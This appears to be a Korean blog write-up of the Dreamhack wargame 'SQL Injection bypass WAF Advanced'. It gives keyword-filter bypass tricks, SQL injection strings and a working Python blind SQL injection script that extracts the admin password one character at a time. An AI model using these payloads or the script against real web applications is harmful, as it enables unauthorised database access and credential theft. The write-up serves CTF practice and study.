Security/WEB

[Dreamhack] SQL Injection bypass WAF Advanced

jino22 2022. 9. 24. 17:14

틀린 부분이 있다면 언제든지 댓글 남겨주세요! 


Dreamhack Wargame - sql injection bypass WAF Advanced (level 1)

https://dreamhack.io/wargame/challenges/416/

 

sql injection bypass WAF Advanced

Description Exercise: SQL Injection Bypass WAF의 패치된 문제입니다.

dreamhack.io

 

level 1인데 너무 헤맸다 ㅜ 이틀에 걸쳐서 풀었다 휴 포기할 뻔 했어

그래도 혼자 힘으로 풀어서 뿌듯

 

 

 

만약 필터링에 걸리면 아래와 같은 문자열이 출력된다.

필터링

 

app.py 파일을 확인해보면 공백을 포함한 필요한 문자열 대부분이 필터링되어 있다..

거기에 lower()함수를 써서 대문자로 피해 갈 수도 없다.

이렇게 주요한 키워드들이 필터링되어 있는 경우 blind sql injection 방식을 이용해 한 문자씩 찾아내야 한다.

필터링을 우회하기 위해 다음과 같이 코드를 작성하였다.

and = &&
or = ||
admin = concat('ad','min')

 

우선 처음에 감을 못잡아서 guest를 이용해서 쿼리부터 완성하려고 했다.

concat을 이용해 문자열을 합치면 'guest'로 출력된다.

그래서 앞의 uid는 빈칸으로 두고, or 를 이용해 uid가 guest이면서 upw(guest의 upw는 guest)의 문자열 하나하나가 맞으면 쿼리 결과가 출력되도록 작성하려고 했다.

 

' or (uid='guest' and substring(upw,1,1)='g')#

'||(uid=concat('gu','est')&&substring(upw,1,1)='g')#

guest의 upw는 guest이므로  쿼리가 성공하면 {result}에 uid값이 나오는 것을 알아냈다.

 

이제 guest 계정이 아닌 admin계정으로 바꿔서 작성하면 된다

 

다음 sql 쿼리에서 빨간색 부분만 바꾸면서 blind injection을 수행한다.

코드는 python을 이용해 작성하였다.

'||(uid=concat('ad','min')&&substring(upw,1,1)='0')#

 

 

코드 작성 시 유의해야 할 부분은

1. query가 바로 url에 들어가기 때문에 인코딩해야 한다

2. blind sql 방식을 이용하기 때문에 정답일 때의 문자를 체크해야 한다

   그래서 html 태그를 긁어와야 했다

3. 총 정답 문자열의 길이를 모르기 때문에 flag의 특징(DH{...})을 이용해야 한다

   만약 flag의 특징도 모른다면 그냥 무한루프 돌리고 문자열이 끝나서 오류나는 경우를 이용하면 될듯?

4. concat, substing 등의 함수를 이용해 문자열을 우회할 때 문자열이 따옴표 안에 들어가게 생성되는지, 아니면 그냥 문자열 자체만 생성되는지도 신경써야 한다

from requests import get
from bs4 import BeautifulSoup

host="http://host3.dreamhack.games:0000/"	# 0000=port 

length=1	# DH 값 길이
result=''	# DH
while True:
	# DH 값을 찾기 위해 ascii값을 이용해 비교
    for p in range(47,126):       
    	# blind sql injection query
        query="uid=%27%7C%7C%28uid%3Dconcat%28%27ad%27%2C%27min%27%29%26%26substring%28upw%2C"+str(length)+"%2C1%29%3D%27"+chr(p)+"%27%29%23"
        url=get(f"{host}?uid={query}")
        
        # blind sql injection 성공 시 결과
        html=url.text
        soup=BeautifulSoup(html,"html.parser")
        pre_tag=soup.find_all('pre')
		
        if pre_tag and 'admin' in pre_tag[1]:
            #print(length, chr(p))
            length=int(length)+1
            result+=chr(p)            
            break
    # DH 끝 문자
    if chr(p)=='}':
        break        
print(result)

 

 

728x90
반응형